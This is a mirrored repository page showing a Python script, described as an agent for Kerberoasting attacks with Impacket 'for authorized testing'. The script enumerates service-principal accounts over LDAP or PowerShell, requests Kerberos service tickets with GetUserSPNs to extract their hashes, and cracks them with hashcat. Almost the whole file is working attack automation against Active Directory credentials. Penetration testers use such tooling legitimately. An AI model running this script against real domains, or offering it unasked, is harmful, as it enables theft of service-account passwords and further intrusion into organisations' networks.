mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 22:24:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
141 lines
5.2 KiB
Python
141 lines
5.2 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing."""
|
|
|
|
import argparse
|
|
import json
|
|
import subprocess
|
|
from datetime import datetime, timezone
|
|
|
|
|
|
def run_getuserspns(domain, username, password, dc_ip, output_file=None):
|
|
"""Execute Impacket GetUserSPNs to extract service ticket hashes."""
|
|
cmd = [
|
|
"GetUserSPNs.py", f"{domain}/{username}:{password}",
|
|
"-dc-ip", dc_ip, "-request",
|
|
]
|
|
if output_file:
|
|
cmd.extend(["-outputfile", output_file])
|
|
try:
|
|
result = subprocess.check_output(
|
|
cmd, text=True, errors="replace", timeout=60
|
|
)
|
|
return {"status": "success", "output": result[:2000]}
|
|
except subprocess.SubprocessError as e:
|
|
return {"status": "failed", "error": str(e)[:200]}
|
|
except FileNotFoundError:
|
|
return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"}
|
|
|
|
|
|
def enumerate_spn_accounts_ldap(domain, username, password, dc_ip):
|
|
"""Enumerate SPN accounts via LDAP query."""
|
|
cmd = [
|
|
"GetUserSPNs.py", f"{domain}/{username}:{password}",
|
|
"-dc-ip", dc_ip,
|
|
]
|
|
try:
|
|
result = subprocess.check_output(
|
|
cmd, text=True, errors="replace", timeout=30
|
|
)
|
|
accounts = []
|
|
for line in result.strip().splitlines():
|
|
if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")):
|
|
parts = line.split()
|
|
if len(parts) >= 3:
|
|
accounts.append({
|
|
"spn": parts[0],
|
|
"name": parts[1],
|
|
"memberof": parts[2] if len(parts) > 2 else "",
|
|
})
|
|
return accounts
|
|
except (subprocess.SubprocessError, FileNotFoundError):
|
|
return []
|
|
|
|
|
|
def crack_with_hashcat(hash_file, wordlist, rules=None):
|
|
"""Crack Kerberos TGS hashes with hashcat."""
|
|
cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"]
|
|
if rules:
|
|
cmd.extend(["-r", rules])
|
|
try:
|
|
result = subprocess.check_output(
|
|
cmd, text=True, errors="replace", timeout=600
|
|
)
|
|
return {"status": "completed", "output": result[:1000]}
|
|
except subprocess.SubprocessError as e:
|
|
return {"status": "failed", "error": str(e)[:200]}
|
|
except FileNotFoundError:
|
|
return {"status": "failed", "error": "hashcat not found"}
|
|
|
|
|
|
def enumerate_powershell():
|
|
"""Enumerate SPN accounts via PowerShell (domain-joined Windows)."""
|
|
ps_cmd = (
|
|
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties "
|
|
"ServicePrincipalName,PasswordLastSet,Enabled,MemberOf "
|
|
"| Select-Object SamAccountName,Enabled,PasswordLastSet,"
|
|
"@{N='SPNs';E={$_.ServicePrincipalName -join ','}} "
|
|
"| ConvertTo-Json"
|
|
)
|
|
try:
|
|
result = subprocess.check_output(
|
|
["powershell", "-NoProfile", "-Command", ps_cmd],
|
|
text=True, errors="replace", timeout=30
|
|
)
|
|
data = json.loads(result) if result.strip() else []
|
|
return data if isinstance(data, list) else [data]
|
|
except (subprocess.SubprocessError, json.JSONDecodeError):
|
|
return []
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="Kerberoasting with Impacket (authorized testing only)"
|
|
)
|
|
parser.add_argument("--domain", help="AD domain")
|
|
parser.add_argument("--username", help="Domain username")
|
|
parser.add_argument("--password", help="Domain password")
|
|
parser.add_argument("--dc-ip", help="Domain controller IP")
|
|
parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
|
|
parser.add_argument("--request", action="store_true", help="Request TGS tickets")
|
|
parser.add_argument("--hash-file", help="Output file for hashes")
|
|
parser.add_argument("--crack", help="Wordlist for hash cracking")
|
|
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
args = parser.parse_args()
|
|
|
|
print("[*] Kerberoasting Agent (Impacket)")
|
|
print("[!] For authorized security testing only")
|
|
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}
|
|
|
|
if args.enumerate:
|
|
if args.domain and args.username:
|
|
accounts = enumerate_spn_accounts_ldap(
|
|
args.domain, args.username, args.password or "", args.dc_ip or ""
|
|
)
|
|
else:
|
|
accounts = enumerate_powershell()
|
|
report["findings"]["spn_accounts"] = accounts
|
|
print(f"[*] SPN accounts found: {len(accounts)}")
|
|
|
|
if args.request and args.domain:
|
|
result = run_getuserspns(
|
|
args.domain, args.username or "", args.password or "",
|
|
args.dc_ip or "", args.hash_file
|
|
)
|
|
report["findings"]["ticket_request"] = result
|
|
print(f"[*] Ticket request: {result['status']}")
|
|
|
|
if args.crack and args.hash_file:
|
|
crack_result = crack_with_hashcat(args.hash_file, args.crack)
|
|
report["findings"]["cracking"] = crack_result
|
|
|
|
if args.output:
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
print(f"[*] Report saved to {args.output}")
|
|
else:
|
|
print(json.dumps(report, indent=2))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|